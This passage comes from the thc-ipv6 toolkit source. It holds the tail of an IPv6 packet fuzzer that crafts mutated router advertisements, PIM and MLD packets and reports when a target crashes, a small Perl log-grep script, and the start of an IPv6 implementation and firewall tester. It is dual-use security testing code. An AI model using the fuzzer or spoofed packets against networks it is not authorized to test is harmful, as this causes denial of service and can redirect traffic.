+ 6, tmp6, 16); buf[22] = 2; buf[25] = 40; // mask tmp6 = thc_resolve6("ff00::"); memcpy(buf + 26, tmp6, 16); // buf + 27 <= rand buf[42] = 1; buf[43] = 1; buf[46] = 2; tmp6 = thc_get_own_ipv6(interface, dst6, PREFER_GLOBAL); memcpy(buf + 48, tmp6, 16); buf[65] = 0x96; // holdtime buf[66] = 7; // prio if (someaddr6 == NULL) tmp6 = thc_get_own_ipv6(interface, dst6, PREFER_GLOBAL); else tmp6 = someaddr6; memcpy(buf + 36, tmp6, 16); if (thc_add_pim(pkt, &pkt_len, do_type, buf, 68) < 0) return -1; addfuzz(&fuzzbuf, &fuzzbuf_sz, fuzztype_pim_bootstrap); break; case DO_PIM_ASSERT: buf[0] = 2; buf[3] = 16; if (someaddr6 != NULL && someaddr6[0] == 0xff) tmp6 = someaddr6; else tmp6 = thc_resolve6("ff05::3"); memcpy(buf + 4, tmp6, 16); buf[20] = 2; buf[32 + 6] = 0x80; buf[34 + 6] = 1; // metric 256 buf[38 + 6] = 1; if (thc_add_pim(pkt, &pkt_len, do_type, buf, 46) < 0) return -1; addfuzz(&fuzzbuf, &fuzzbuf_sz, fuzztype_pim_assert); break; case DO_NONE: // empty break; case DO_NEIGHSOL: if (someaddr6 != NULL) memcpy(buf, someaddr6, 16); else memcpy(buf, mcast6, 16); buf[16] = 1; buf[17] = 1; memcpy(buf + 18, srcmac, 6); if (thc_add_icmp6(pkt, &pkt_len, ICMP6_NEIGHBORSOL, 0, 0, (unsigned char *)&buf, 24, 0) < 0) return -1; addfuzz(&fuzzbuf, &fuzzbuf_sz, fuzztype_icmp6ns); break; case DO_NEIGHADV: if (someaddr6 != NULL) memcpy(buf, someaddr6, 16); else memcpy(buf, src6, 16); buf[16] = 2; buf[17] = 1; memcpy(buf + 18, srcmac, 6); if (thc_add_icmp6(pkt, &pkt_len, ICMP6_NEIGHBORADV, 0, 0xe0000000, (unsigned char *)&buf, 24, 0) < 0) return -1; addfuzz(&fuzzbuf, &fuzzbuf_sz, fuzztype_icmp6na); break; case DO_NODEQUERY: memcpy(buf + 8, real_dst6, 16); if (thc_add_icmp6(pkt, &pkt_len, ICMP6_NODEQUERY, 0, 0x0003003e, (unsigned char *)&buf, 24, 0) < 0) return -1; addfuzz(&fuzzbuf, &fuzzbuf_sz, fuzztype_icmp6nq); break; case DO_RA: // buf[3] = 250; // 0-3: reachable timer buf[6] = 4; // 4-7: retrans timer // option mtu buf[8] = 5; buf[9] = 1; buf[12] = mtu / 16777216; buf[14] = (mtu % 65536) / 256; buf[15] = mtu % 256; // option prefix buf[16] = 3; buf[17] = 4; buf[18] = size; // prefix length buf[19] = 128 + 64; memset(&buf[20], 17, 4); memset(&buf[24], 4, 4); if (someaddr6 != NULL) memcpy(&buf[32], someaddr6, 16); else memcpy(&buf[32], route6, 16); i = 48; // mac address option buf[i++] = 1; buf[i++] = 1; memcpy(buf + i, srcmac, 6); i += 6; // = 8 == 56 // default route routing option buf[i++] = 0x18; // routing entry option type buf[i++] = 0x03; // length 3 == 24 bytes buf[i++] = 64; // prefix length /64 buf[i++] = 0x08; // priority, highest of course i += 2; // 52-53 unknown buf[i++] = 0x11; // lifetime, word buf[i++] = 0x11; // lifetime, word buf[i++] = 0x20; buf[i++] = 4; // 56-71 address, 2004:: for default i += 14; // = 24 == 70 // dns option buf[i++] = 0x19; // dns option type buf[i++] = 0x03; // length i += 2; // 74-75 reserved memset(buf + i, 1, 4); // validity time i += 4; if (someaddr6 != NULL) memcpy(buf + i, someaddr6, 16); // dns server else memcpy(buf + i, dns, 16); // dns server i += 16; // = 24 == 94 // seachlist option buf[i++] = 31; buf[i++] = 4; i += 2; memset(buf + i, 1, 4); // validity time i += 4; buf[i++] = 3; memcpy(buf + i, "foo", 3); i += 3; buf[i++] = 4; memcpy(buf + i, "corp", 4); i += 5; // + null byte buf[i++] = 5; memcpy(buf + i, "local", 5); i += 5; buf[i++] = 6; memcpy(buf + i, "domain", 6); i += 7; // + null byte // = 32 == 126 // flag extension option buf[i++] = 26; buf[i++] = 1; buf[i++] = 0x08; i += 5; if (thc_add_icmp6(pkt, &pkt_len, ICMP6_ROUTERADV, 0, 0xff080800, buf, i, 0) < 0) return -1; addfuzz(&fuzzbuf, &fuzzbuf_sz, fuzztype_icmp6ra); break; case DO_MLD_QUERY: case DO_MLD_DONE: case DO_MLD_REP: buf[0] = 0xff; buf[1] = 0x02; buf[15] = 0x05; if (someaddr6 != NULL) memcpy(buf, someaddr6, 16); if (thc_add_icmp6(pkt, &pkt_len, do_type, 0, wait, buf, 16, 0) < 0) return -1; addfuzz(&fuzzbuf, &fuzzbuf_sz, fuzztype_icmp6mld); break; case DO_MLD2_QUERY: buf[0] = 0xff; buf[1] = 0x02; buf[15] = 0x05; if (someaddr6 != NULL) memcpy(buf, someaddr6, 16); buf[16] = 7; buf[17] = 120; buf[19] = 3; memcpy(buf + 20, dst6, 16); memcpy(buf + 36, buf, 16); if (thc_add_icmp6(pkt, &pkt_len, DO_MLD_QUERY, 0, wait, buf, 68, 0) < 0) return -1; addfuzz(&fuzzbuf, &fuzzbuf_sz, fuzztype_icmp6mld2que); break; case DO_MLD2_REPORT: for (i = 0; i < 3; i++) { buf[0 + 68 * i] = 1 + i * 2 - i / 2; // include new++, generates 1, 3 and 4 buf[3 + 68 * i] = 3; // 3 sources buf[4 + 68 * i] = 0xff; buf[5 + 68 * i] = 0x02; buf[18 + 68 * i] = 0x82 + i % 256; buf[19 + 68 * i] = 0xff; memcpy(buf + 20 + 68 * i, src6, 16); buf[36 + 68 * i] = 0xfe; buf[37 + 68 * i] = 0x80; buf[46 + 68 * i] = 0xf0; if (someaddr6 != NULL) memcpy(buf + 52 + 68 * i, someaddr6, 16); } if (thc_add_icmp6(pkt, &pkt_len, do_type, 0, 3, buf, 208, 0) < 0) return -1; addfuzz(&fuzzbuf, &fuzzbuf_sz, fuzztype_icmp6mld2rep); break; default: fprintf(stderr, "ERROR: Mode not implemented yet!\n"); exit(-1); } if (thc_generate_pkt(interface, srcmac, mac, pkt, &pkt_len) < 0) return -1; hdr = (thc_ipv6_hdr *)pkt; if (jumbo) { i = 0; j = 1; while (i < hdr->pkt_len + 4 && j) { if (hdr->pkt[i] == 'J') if (memcmp(&hdr->pkt[i], "JJJJ", 4) == 0) j = 0; i++; } if (j) { fprintf(stderr, "ERROR: fuckup, cant find my own marker?!\n"); exit(-1); } else i--; hdr->pkt[i] = 0; hdr->pkt[i + 1] = 0; hdr->pkt[i + 2] = hdr->pkt[4 + off2]; hdr->pkt[i + 3] = hdr->pkt[5 + off2]; hdr->pkt[4 + off2] = 0; hdr->pkt[5 + off2] = 0; } if (extend) for (i = 0; i < strlen(fuzzbuf); i++) if (fuzzbuf[i] == 'B' || fuzzbuf[i] == 'F') fuzzbuf[i] = 'X'; // backup of generated packet pkt_bak = malloc(hdr->pkt_len); memcpy(pkt_bak, hdr->pkt, hdr->pkt_len); printf( "Fuzzing packet, starting at fuzz case %d, ending at fuzz case %d, every " "packet sent denoted by a dot:\n", test_start, test_end); // printf("buf(%d): %s\n", strlen(fuzzbuf), fuzzbuf); while (do_fuzz) { if (test_cnt == 0) while (fuzzbuf[test_ptr] == '.') { test_ptr++; test_pos++; } if (fuzzbuf[test_ptr] == 0) do_fuzz = 0; test_cnt++; do_it = 1; // printf("[%s] pos[%d]=%c -> %d | pkt[%d] | %d (%d=>%d)| ", /*fuzzbuf*/"", // test_ptr, fuzzbuf[test_ptr], test_cnt, test_pos, test_current, test_start, // test_end); switch (fuzzbuf[test_ptr]) { case 0: break; case 'X': if (test_cnt <= COUNT_EXTEND) { if (pkt_bak[test_pos] != extends[test_cnt - 1]) hdr->pkt[test_pos] = extends[test_cnt - 1]; else do_it = 0; } else { test_cnt = 0; test_ptr++; test_pos++; } break; case 'B': if (test_cnt <= COUNT_BYTE) { if (pkt_bak[test_pos] != bytes[test_cnt - 1]) hdr->pkt[test_pos] = bytes[test_cnt - 1]; else do_it = 0; } else { i = 0; while (i < COUNT_BYTE && do_it) { if (bytes[i] == pkt_bak[test_pos]) do_it = 0; i++; } if (do_it) hdr->pkt[test_pos] = hdr->pkt[test_pos] ^ xors[test_cnt - COUNT_BYTE - 1]; } if (test_cnt == COUNT_BYTE + COUNT_XOR) { test_cnt = 0; test_ptr++; test_pos++; } break; case 'F': if (test_cnt <= COUNT_FLAG) { if (pkt_bak[test_pos] != flags[test_cnt - 1]) hdr->pkt[test_pos] = flags[test_cnt - 1]; else do_it = 0; } else { i = 0; while (i < COUNT_BYTE && do_it) { if (bytes[i] == pkt_bak[test_pos]) // yes, bytes[] is the right one // even for flags do_it = 0; i++; } if (do_it) hdr->pkt[test_pos] = hdr->pkt[test_pos] ^ xors[test_cnt - COUNT_BYTE - 1]; } if (test_cnt == COUNT_FLAG + COUNT_XOR) { test_cnt = 0; test_ptr++; test_pos++; } break; case 'W': sip = (unsigned short int *)&pkt_bak[test_pos]; if (test_cnt <= COUNT_WORD) { if (*sip != words[test_cnt - 1]) memcpy((char *)&hdr->pkt[test_pos], (char *)&words[test_cnt - 1] + _TAKE2, 2); else do_it = 0; } else { i = 0; while (i < COUNT_WORD && do_it) { if (words[i] == *sip) do_it = 0; i++; } if (do_it) { i = *sip ^ xors[test_cnt - COUNT_WORD - 1]; sip = (unsigned short int *)&hdr->pkt[test_pos]; *sip = i % 65536; } } if (test_cnt == COUNT_WORD + COUNT_XOR) { test_cnt = 0; test_ptr++; test_pos += 2; } break; default: fprintf(stderr, "This character should not be in the fuzz string, shoot the " "programmer: %c(%d) position %d string %s\n", fuzzbuf[test_ptr], fuzzbuf[test_ptr], test_ptr, fuzzbuf); exit(-1); break; } if (do_it && do_fuzz) { if (test_current >= test_start && test_current <= test_end && do_fuzz) { // fill icmp id+seq and unique buffer with test case number if (fragment) memcpy(hdr->pkt + frag_offset + 58, (char *)&test_current + _TAKE4, 4); switch (do_type) { case DO_NONE: // empty break; case DO_PING: for (i = 0; i < 4 + 1; i++) memcpy(hdr->pkt + offset + 58 + i * 4, (char *)&test_current + _TAKE4, 4); break; case DO_TCP: memcpy(hdr->pkt + offset + 58, (char *)&test_current + _TAKE4, 4); break; case DO_PIM_HELLO: memcpy(hdr->pkt + offset + 62 + 14, (char *)&test_current + _TAKE4, 4); // TEST BUG FIXME XXX break; case DO_PIM_ASSERT: memcpy(hdr->pkt + offset + 60 + 14, (char *)&test_current + _TAKE4, 4); // TEST BUG FIXME XXX break; case DO_PIM_BOOTSTRAP: memcpy(hdr->pkt + offset + 71 + 14, (char *)&test_current + _TAKE4, 4); // TEST BUG FIXME XXX break; case DO_NEIGHSOL: case DO_NEIGHADV: break; // do nothing for these case DO_NODEQUERY: memcpy(hdr->pkt + offset + 66, (char *)&test_current + _TAKE4, 4); break; case DO_RA: memcpy(hdr->pkt + offset + 0x62, (char *)&test_current + _TAKE4, 4); // prefix update memcpy(hdr->pkt + offset + 0x7e, hdr->pkt + offset + 0x5e, 16); // routing update memcpy(hdr->pkt + 8, (char *)&test_current + _TAKE4, 4); // srcmac update memcpy(hdr->pkt + offset + 0x72, (char *)&test_current + _TAKE4, 4); // srcmac update memcpy(hdr->pkt + 0x10 + off2, (char *)&test_current + _TAKE4, 4); // srcip update memcpy(hdr->original_src, hdr->pkt + 8 + off2, 16); // srcip update for checksum break; case DO_MLD_QUERY: case DO_MLD_DONE: case DO_MLD_REP: case DO_MLD2_QUERY: memcpy(hdr->pkt + offset + 0x4a, (char *)&test_current + _TAKE4, 4); break; case DO_MLD2_REPORT: //??? XXX TODO CHECK memcpy(hdr->pkt + offset + 0x4d, (char *)&test_current + _TAKE4, 4); memcpy(hdr->pkt + offset + 0x4d + 68, (char *)&test_current + _TAKE4, 4); memcpy(hdr->pkt + offset + 0x4d + 136, (char *)&test_current + _TAKE4, 4); break; default: fprintf(stderr, "ERROR!!!\n"); exit(-1); } // regenerate checksum if (do_type != DO_TCP && do_type != DO_NONE && (do_type < DO_PIM_HELLO || do_type > DO_PIM_ASSERT)) { // maybe for later non-icmp stuff hdr->pkt[offset + 56] = 0; hdr->pkt[offset + 57] = 0; i = checksum_pseudo_header(hdr->original_src, hdr->final_dst, NXT_ICMP6, &hdr->pkt[offset + 54], hdr->pkt_len - offset - 54); hdr->pkt[offset + 56] = i / 256; hdr->pkt[offset + 57] = i % 256; } else if (do_type >= DO_PIM_HELLO && do_type <= DO_PIM_ASSERT) { hdr->pkt[offset + 56] = 0; hdr->pkt[offset + 57] = 0; i = checksum_pseudo_header(hdr->original_src, hdr->final_dst, NXT_PIM, &hdr->pkt[offset + 54], hdr->pkt_len - offset - 54); hdr->pkt[offset + 56] = i / 256; hdr->pkt[offset + 57] = i % 256; } else { // TCP hdr->pkt[offset + 70] = 0; hdr->pkt[offset + 71] = 0; i = checksum_pseudo_header(hdr->original_src, hdr->final_dst, NXT_TCP, &hdr->pkt[offset + 54], hdr->pkt_len - offset - 54); hdr->pkt[offset + 70] = i / 256; hdr->pkt[offset + 71] = i % 256; } // send packet for (k = 0; k < no_send; k++) { while (thc_send_pkt(interface, pkt, &pkt_len) < 0) usleep(1); } printf("."); usleep(250); // if ping, check ping again if ((test_current - test_start) % ping == 0 && test_current != 0 && test_start != test_current) if (check_alive(p, interface, srcmac, mac, src6, real_dst6) == 0) { i = ((((test_current - test_start) / ping) - 1) * ping) + test_start + 1; printf( "\nResult: target %s crashed during fuzzing, offending test " "case no. could be %d to %d\n", argv[optind + 1], i < 0 ? 0 : i, test_current); exit(1); } } // else printf("NOT SENT - NOT IN TEST LIST\n"); // reset to basic packet memcpy(hdr->pkt, pkt_bak, hdr->pkt_len); test_current++; } // else printf("NOT SENT!\n"); } printf("\n"); // ping afterwards to check if it worked if (do_alive) { if (check_alive(p, interface, srcmac, mac, src6, real_dst6) == 0) { printf( "Result: target %s is NOT alive via direct ping6 - good work! " "(position: %d)\n", argv[optind + 1], test_pos); exit(1); } else printf( "Result: target %s is still alive via direct ping6, better luck next " "time.\n", argv[optind + 1]); } thc_pcap_close(p); return 0; } thc-ipv6-3.8/grep6.pl000077500000000000000000000016201376121567700144250ustar00rootroot00000000000000#!/usr/bin/perl # basic code by Eric Vyncke use Socket; use Socket6; $fd = STDIN; $option = shift; $count = 0; $ln = 0; if ($option eq "" || $option eq "-h") { print "Syntax: grep6.pl [-n] ipv6-address [logfile]\n"; print "Option: -n print with line count\n"; exit(0); } if ($option eq "-n") { $count = 1; $option = shift; } my (@words, $word, $binary_address, $address) ; $address = inet_pton AF_INET6, $option ; if (! $address) { die "Wrong IPv6 address passed as argument" ; } $option2 = shift; if ($option2 ne "") { open $fd, "< $option2" or die "$option2"; } ## go through the file one line at a time while (my $line = <$fd>) { $ln++; @words = split /[ ,"'.\\\t\n\r\(\)\[\]]/, $line ; foreach $word (@words) { $binary_address = inet_pton AF_INET6, $word ; if ($binary_address eq $address) { print "$ln: " if ($count == 1); print $line ; next ; } } } thc-ipv6-3.8/implementation6.c000066400000000000000000002450201376121567700163250ustar00rootroot00000000000000/* * Tests various IPv6 specific options for their implementations * This can also be used to test firewalls, check what it passes. * A sniffer on the other side of the firewall or running implementation6d * shows you what got through. * */ #include #include #include #include #include #include #include #include #include #include #include "thc-ipv6.h" int ret_code = 1, matched = 0, gtype1, gtype1a, gtype2, gtype2a, gpos, epos, onecase = 0; unsigned char *gpattern, *gsrc, *gdst, etype, ecode; void help(char *prg) { printf("%s %s (c) 2020 by %s %s\n\n", prg, VERSION, AUTHOR, RESOURCE); printf( "Syntax: %s [-p] [-s sourceip6] interface destination " "[test-case-number]\n\n", prg); printf("Options:\n"); printf(" -s sourceip6 use the specified source IPv6 address\n"); printf( " -p do not perform an alive check at the beginning and " "end\n"); printf( "\nPerforms some IPv6 implementation checks, can be used to test " "some\nfirewall features too. Takes approx. 2 minutes to complete.\n"); exit(-1); } void ignoreit(u_char *foo, const struct pcap_pkthdr *header, const unsigned char *data) { return; } void check_packet_n(u_char *foo, const struct pcap_pkthdr *header, const unsigned char *data) { unsigned char *ipv6hdr = (unsigned char *)data, len = header->caplen; int off = 0; ipv6hdr = (unsigned char *)(data + 14); len -= 14; if (do_hdr_size) { ipv6hdr = (unsigned char *)(data + do_hdr_size); len -= (do_hdr_size - 14); if ((ipv6hdr[0] & 240) != 0x60) return; } if (debug) { printf("DEBUG: packet received\n"); thc_dump_data(ipv6hdr, len, "Received Packet"); } if (ipv6hdr[6] == NXT_FRAG) off = 8; if (86 + off < len) { if (debug) printf("\nDEBUG: packet too short\n"); return; } if (ipv6hdr[6] == NXT_ICMP6 && (ipv6hdr[40] == ICMP6_NEIGHBORSOL || ipv6hdr[40] == ICMP6_TTLEXEED)) return; if (off == 8 && (ipv6hdr[40] == NXT_ICMP6 && (ipv6hdr[40 + off] == ICMP6_NEIGHBORSOL || ipv6hdr[40 + off] == ICMP6_TTLEXEED))) return; if ((ipv6hdr[6] == NXT_ICMP6 && ipv6hdr[40] == ICMP6_NEIGHBORADV) || (off == 8 && ipv6hdr[40] == NXT_ICMP6 && ipv6hdr[40 + off] == ICMP6_NEIGHBORADV)) { if (memcmp(ipv6hdr + 8, gdst, 16) == 0 && memcmp(ipv6hdr + 24, gsrc, 16) == 0) { matched = 2; return; } } else if ((ipv6hdr[6] == NXT_ICMP6 && ipv6hdr[40] == ICMP6_PARAMPROB) || (off == 8 && ipv6hdr[40] == NXT_ICMP6 && ipv6hdr[40 + off] == ICMP6_PARAMPROB)) { if (memcmp(ipv6hdr + 8, gsrc, 16) == 0 && memcmp(ipv6hdr + 24, gdst, 16) == 0) { matched = 1; etype = ipv6hdr[40]; ecode = ipv6hdr[41]; return; } } return; } int check_for_reply_n(pcap_t *p, unsigned char *src, unsigned char *dst) { int ret = -1; time_t t; t = time(NULL); matched = 0; gsrc = src, gdst = dst; while (ret < 0) { (void)thc_pcap_check(p, (char *)check_packet_n, NULL); if (matched > 0) ret = 0; if (time(NULL) > t + 2 && ret < 0) ret = 0; } if (matched <= 0) printf("FAILED - no reply\n"); if (matched == 1) { printf("FAILED - error reply [%d:%d]\n", etype, ecode); if (onecase == 0) sleep(2); } if (matched == 2) { printf("PASSED - we got a reply\n"); ret_code = 0; } usleep(500); return matched; } void check_packet(u_char *foo, const struct pcap_pkthdr *header, const unsigned char *data) { unsigned char *ipv6hdr = (unsigned char *)(data + 14); int len = header->caplen - 14, off = 0; if (do_hdr_size) { ipv6hdr = (unsigned char *)(data + do_hdr_size); len -= (do_hdr_size - 14); if ((ipv6hdr[0] & 240) != 0x60) return; } matched = 0; if (debug) { printf("DEBUG: packet received\n"); thc_dump_data(ipv6hdr, len, "Received Packet"); } if (ipv6hdr[6] == NXT_FRAG) off = 8; if (gpos + off > len && (epos == 0 || epos + off > len)) { matched = -1; if (debug) printf("\nDEBUG: packet too short (2)\n"); return; } if ((ipv6hdr[6] == NXT_ICMP6 || (off == 8 && ipv6hdr[40] == NXT_ICMP6)) && (ipv6hdr[40 + off] == ICMP6_NEIGHBORSOL || ipv6hdr[40] == ICMP6_NEIGHBORADV || ipv6hdr[40 + off] == ICMP6_TTLEXEED) && ipv6hdr[40 + off] != gtype2 && ipv6hdr[40 + off] != gtype2a) { matched = -1; return; } // printf("gpos: %d, pattern %x, found %x\n", gpos, gpattern[0], // ipv6hdr[gpos]); printf("epos: %d, pattern %x, found %x\n", epos, // gpattern[0], ipv6hdr[epos]); if (gpos > 0 && memcmp(ipv6hdr + gpos + off, gpattern, 4) != 0) { matched = -1; if (debug) printf("\nDEBUG: packet contents different\n"); if (epos == 0) return; } else { matched = 1; etype = ipv6hdr[40]; ecode = ipv6hdr[41]; } if (epos > 0 && epos < len && memcmp(ipv6hdr + epos + off, gpattern, 4) == 0) { matched = 1; etype = ipv6hdr[40]; ecode = ipv6hdr[41]; } if ((ipv6hdr[6] == gtype1 || gtype1 == 0) && (ipv6hdr[40] == gtype2 || gtype2 == 0) && (gpos <= 0 || (gpos < len && memcmp(ipv6hdr + gpos, gpattern, 4) == 0))) matched = 2; if (off == 8 && ((ipv6hdr[40] == gtype1 || gtype1 == 0) && (ipv6hdr[40 + off] == gtype2 || gtype2 == 0) && (gpos <= 0 || (gpos < len && memcmp(ipv6hdr + gpos + off, gpattern, 4) == 0)))) matched = 2; if ((ipv6hdr[6] == gtype1a || gtype1a == 0) && (ipv6hdr[40] == gtype2a || gtype2a == 0) && (gpos <= 0 || (gpos + off < len && memcmp(ipv6hdr + gpos, gpattern, 4) == 0))) matched = 2; if (off == 8 && ((ipv6hdr[40] == gtype1a || gtype1a == 0) && (ipv6hdr[40 + off] == gtype2a || gtype2a == 0) && (gpos <= 0 || (gpos + off < len && memcmp(ipv6hdr + gpos + off, gpattern, 4) == 0)))) matched = 2; if (debug) printf( "\nDEBUG: hdr[6] %d|%d == %d, hdr[40] %d|%d == %d, pos[%d/%d] " "%02x%02x%02x%02x == %02x%02x%02x%02x\n", ipv6hdr[6], gtype1, gtype1a, ipv6hdr[40], gtype2, gtype2a, gpos, epos, gpos == 0 ? 0 : ipv6hdr[gpos], gpos == 0 ? 0 : ipv6hdr[gpos + 1], gpos == 0 ? 0 : ipv6hdr[gpos + 2], gpos == 0 ? 0 : ipv6hdr[gpos + 3], gpos == 0 ? 0 : gpattern[0], gpos == 0 ? 0 : gpattern[1], gpos == 0 ? 0 : gpattern[2], gpos == 0 ? 0 : gpattern[3]); return; } int check_for_reply(pcap_t *p, int type1, int type2, int type1a, int type2a, int pos, int pos2, unsigned char *pattern) { int ret = -1; time_t t; t = time(NULL); matched = 0; gtype1 = type1; gtype1a = type1a, gtype2 = type2; gtype2a = type2a, gpos = pos; epos = pos2; gpattern = pattern; while (ret < 0) { if (thc_pcap_check(p, (char *)check_packet, NULL) > 0) ret = 1; if (matched == -1) { ret = -1; matched = 0; } if (time(NULL) > t + 2 && ret < 0) ret = 0; } if (matched == 0) printf("FAILED - no reply\n"); if (matched == 1) { printf("FAILED - error reply [%d:%d]\n", etype, ecode); if (onecase == 0) sleep(2); } if (matched == 2) { printf("PASSED - we got a reply\n"); ret_code = 0; } usleep(500); return matched; } int check_alive(pcap_t *p, char *interface, unsigned char *src, unsigned char *dst) { int ret = -2; time_t t; while (thc_pcap_check(p, (char *)ignoreit, NULL) > 0) ; thc_ping6(interface, src, dst, 16, 1); t = time(NULL); while (ret < 0) { if (thc_pcap_check(p, (char *)ignoreit, NULL) > 0) ret = 1; if (time(NULL) > t + 1 && ret == -2) { thc_ping6(interface, src, dst, 16, 1); ret = -1; } if (time(NULL) > t + 2 && ret < 0) ret = 0; } return ret > 0 ? 1 : 0; } int main(int argc, char *argv[]) { int test = 0, count = 1; unsigned char buf[1500], bla[1500], bigbla[65536], tests[256], string[64] = "ip6 and dst ", string2[64] = "ip6 and src "; unsigned char *dst6, *ldst6 = malloc(16), *src6 = NULL, *lsrc6, *mcast6; unsigned char *srcmac = NULL, *dstmac = NULL, *routers[2], null_buffer[6]; thc_ipv6_hdr * hdr; int i, j, k, srcmtu, fragsize, use_srcroute_type = -1, offset = 14; pcap_t * p; unsigned char *pkt = NULL, *pkt2 = NULL, *pkt3 = NULL; int pkt_len = 0, pkt_len2 = 0, pkt_len3 = 0, noping = 0; char * interface; setvbuf(stdout, NULL, _IONBF, 0); setvbuf(stderr, NULL, _IONBF, 0); if (argc < 3 || strncmp(argv[1], "-h", 2) == 0) help(argv[0]); while ((i = getopt(argc, argv, "pds:")) >= 0) { switch (i) { case 'p': noping = 1; break; case 'd': debug = 1; break; case 's': src6 = thc_resolve6(optarg); break; default: fprintf(stderr, "Error: unknown option %c\n", i); exit(-1); } } interface = argv[optind]; dst6 = thc_resolve6(argv[optind + 1]); if (dst6 == NULL) { fprintf(stderr, "Error: can not resolve %s to a valid IPv6 address\n", argv[optind + 1]); exit(-1); } memcpy(ldst6, dst6, 16); memset(ldst6 + 2, 0, 6); ldst6[0] = 0xfe; ldst6[1] = 0x80; mcast6 = thc_resolve6("ff02::1"); if (argc >= optind + 3) { test = atoi(argv[optind + 2]); onecase = 1; } memset(buf, 0, sizeof(buf)); memset(null_buffer, 0, sizeof(null_buffer)); if (do_hdr_size) offset = do_hdr_size; if (src6 == NULL) src6 = thc_get_own_ipv6(interface, dst6, PREFER_GLOBAL); if (src6 != NULL && src6[0] == 0xfe) lsrc6 = src6; else lsrc6 = thc_get_own_ipv6(interface, ldst6, PREFER_LINK); if (lsrc6 == NULL) { fprintf(stderr, "Error: invalid interface %s\n", interface); exit(-1); } strcat(string, thc_ipv62notation(src6)); strcat(string2, thc_ipv62notation(dst6)); srcmac = thc_get_own_mac(interface); if ((dstmac = thc_get_mac(interface, src6, dst6)) == NULL) { fprintf(stderr, "ERROR: Can not resolve mac address for %s\n", argv[2]); exit(-1); } if ((srcmtu = thc_get_mtu(interface)) <= 0) { fprintf(stderr, "ERROR: can not get mtu from interface %s\n", interface); exit(-1); } fragsize = ((srcmtu - 62) / 8) * 8; if ((p = thc_pcap_init(interface, string)) == NULL) { fprintf(stderr, "Error: could not capture on interface %s with string %s\n", interface, string); exit(-1); } setvbuf(stdout, NULL, _IONBF, 0); memset(tests, 0, sizeof(tests)); printf("Performing implementation checks on %s via %s:\n", argv[optind + 1], argv[optind]); if (noping == 0) { if (check_alive(p, interface, src6, dst6) == 0) { fprintf(stderr, "Error: target %s is not alive via direct ping6!\n", argv[optind + 1]); exit(-1); } else printf("Test 0: normal ping6\t\t\t\tPASSED - we got a reply\n"); } /********************** TEST CASES ************************/ if (test == 0 || test == count) { printf("Test %2d: hop-by-hop ignore option\t\t", count); memset(bla, count % 256, sizeof(bla)); if ((pkt = thc_create_ipv6_extended(interface, PREFER_GLOBAL, &pkt_len, src6, dst6, 255, 0, count, 0, 0)) == NULL) return -1; memset(buf, 0, sizeof(buf)); buf[0] = NXT_IGNORE; buf[1] = 0; if (thc_add_hdr_hopbyhop(pkt, &pkt_len, (unsigned char *)&buf, 6) < 0) return -1; thc_add_icmp6(pkt, &pkt_len, ICMP6_PINGREQUEST, 0, count, (unsigned char *)&bla, 150, 0); while (thc_pcap_check(p, (char *)ignoreit, NULL) > 0) ; if (thc_generate_and_send_pkt(interface, srcmac, dstmac, pkt, &pkt_len) < 0) return -1; pkt = thc_destroy_packet(pkt); if (check_for_reply(p, NXT_ICMP6, ICMP6_PINGREPLY, NXT_ICMP6, ICMP6_PINGREPLY, 100, 0, bla)) tests[count] = 1; } count++; if (test == 0 || test == count) { printf("Test %2d: hop-by-hop ignore option 2kb size\t", count); memset(bla, count % 256, sizeof(bla)); if ((pkt = thc_create_ipv6_extended(interface, PREFER_GLOBAL, &pkt_len, src6, dst6, 255, 0, count, 0, 0)) == NULL) return -1; memset(bigbla, 0, sizeof(bigbla)); bigbla[0] = NXT_IGNORE; bigbla[1] = 0; if (thc_add_hdr_hopbyhop(pkt, &pkt_len, (unsigned char *)&bigbla, 2046) < 0) return -1; thc_add_icmp6(pkt, &pkt_len, ICMP6_PINGREQUEST, 0, count, (unsigned char *)&bla, 150, 0); if (thc_generate_pkt(interface, srcmac, dstmac, pkt, &pkt_len) < 0) return -1; hdr = (thc_ipv6_hdr *)pkt; while (thc_pcap_check(p, (char *)ignoreit, NULL) > 0) ; if (thc_send_as_fragment6( interface, src6, dst6, NXT_HBH, hdr->pkt + 40 + offset, hdr->pkt_len - 40 - offset, hdr->pkt_len > fragsize ? fragsize : (((hdr->pkt_len - 40 - 14) / 16) + 1) * 8) < 0) return -1; pkt = thc_destroy_packet(pkt); if (check_for_reply(p, NXT_ICMP6, ICMP6_PINGREPLY, NXT_ICMP6, ICMP6_PINGREPLY, 100, 0, bla)) tests[count] = 1; } count++; if (test == 0 || test == count) { printf("Test %2d: 2 hop-by-hop headers\t\t\t", count); if ((pkt = thc_create_ipv6_extended(interface, PREFER_GLOBAL, &pkt_len, src6, dst6, 255, 0, count, 0, 0)) == NULL) return -1; memset(bla, count % 256, sizeof(bla)); memset(buf, 0, sizeof(buf)); buf[0] = NXT_IGNORE; buf[1] = 0; for (i = 0; i < 2; i++) if (thc_add_hdr_hopbyhop(pkt, &pkt_len, (unsigned char *)&buf, 6) < 0) return -1; thc_add_icmp6(pkt, &pkt_len, ICMP6_PINGREQUEST, 0, count, (unsigned char *)&bla, 150, 0); while (thc_pcap_check(p, (char *)ignoreit, NULL) > 0) ; if (thc_generate_and_send_pkt(interface, srcmac, dstmac, pkt, &pkt_len) < 0) return -1; pkt = thc_destroy_packet(pkt); if (check_for_reply(p, NXT_ICMP6, ICMP6_PINGREPLY, NXT_ICMP6, ICMP6_PINGREPLY, 130, 0, bla)) tests[count] = 1; } count++; if (test == 0 || test == count) { printf("Test %2d: 128 hop-by-hop headers\t\t\t", count); if ((pkt = thc_create_ipv6_extended(interface, PREFER_GLOBAL, &pkt_len, src6, dst6, 255, 0, count, 0, 0)) == NULL) return -1; memset(bla, count % 256, sizeof(bla)); memset(buf, 0, sizeof(buf)); buf[0] = NXT_IGNORE; buf[1] = 0; for (i = 0; i < 128; i++) if (thc_add_hdr_hopbyhop(pkt, &pkt_len, (unsigned char *)&buf, 6) < 0) return -1; thc_add_icmp6(pkt, &pkt_len, ICMP6_PINGREQUEST, 0, count, (unsigned char *)&bla, 150, 0); while (thc_pcap_check(p, (char *)ignoreit, NULL) > 0) ; if (thc_generate_and_send_pkt(interface, srcmac, dstmac, pkt, &pkt_len) < 0) return -1; pkt = thc_destroy_packet(pkt); if (check_for_reply(p, NXT_ICMP6, ICMP6_PINGREPLY, NXT_ICMP6, ICMP6_PINGREPLY, 130, 1200, bla)) tests[count] = 1; } count++; if (test == 0 || test == count) { printf("Test %2d: destination ignore option\t\t", count); memset(bla, count % 256, sizeof(bla)); if ((pkt = thc_create_ipv6_extended(interface, 